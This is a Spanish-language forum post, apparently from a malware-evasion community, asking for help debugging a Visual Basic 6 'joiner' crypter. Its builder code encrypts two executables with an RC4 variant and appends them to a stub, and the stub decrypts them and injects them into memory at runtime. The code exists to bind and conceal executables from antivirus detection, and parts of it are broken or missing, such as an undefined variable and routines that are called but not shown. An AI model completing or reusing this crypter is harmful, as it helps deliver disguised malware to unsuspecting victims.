Hola de nuevo indetectables, esta vez estoy intentando crear un joiner que una y encrypte dos archivos ejecutables.
Bueno creo que en el cliente no tengo problema (Creo), ya que he utilizado este orden. Encrypto los dos archivos por separado y luego los uno en un archivo final.
El problema creo que esta en el Stub, cuando intendo ejecutar los dos archivos depues de haberlos desencryptado.
como no he encontrado ningun source de joiner Runtime no he podido comparar.
Aqui dejo el source
Cliente:
Mostrar/Ocultar
Código: Seleccionar todo
Private Sub Command4_Click()
Dim Stub As String
Open App.Path & "\Stub.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1
Open CD1.FileName For Binary As #1
Dim file1 As String
file1 = Space(LOF(1))
Get #1, , file1
Close #1
Dim file2 As String
Open CD2.FileName For Binary As #1
file2 = Space(LOF(1))
Get #1, , file2
Close #1
Dim pass As String
pass = "wasasasasa"
file1 = poseidon1(file1, pass)
file2 = poseidon1(file2, pass)
Open App.Path & "\Unidos&Encryptados.exe" For Binary As #1
Dim Bin As String
Put #1, , Stub
Put #1, , pass
Put #1, , file1
Put #1, , pass
Put #1, , file2
Put #1, , pass
Close #1
MsgBox "Archivos unidos y encryptados con exito!", vbInformation, Me.Caption
Stub:
Mostrar/Ocultar
Código: Seleccionar todo
Sub Main()
Dim Yo As String
Yo = (App.Path & "\" & App.EXEName & ".exe")
Open Yo For Binary As #1
Dim Stub As String
Stub = Space(LOF(1))
Get #1, , Stub
Close #1
Dim key As String
key = "wasasasasa"
Dim totalpack() As String
totalpack = Split(Stub, pass)
totalpack(1) = poseidon1(totalpack(1), pass)
totalpack(2) = poseidon1(totalpack(2), pass)
Call Injec(Yo, StrConv(totalpack(1), vbFromUnicode), vbNullString)
Call Injec(Yo, StrConv(totalpack(2), vbFromUnicode), vbNullString)
La encryptacion que estoy utilizando es RC4 MOD de poseidon
Saludos y muchas gracias de antemano
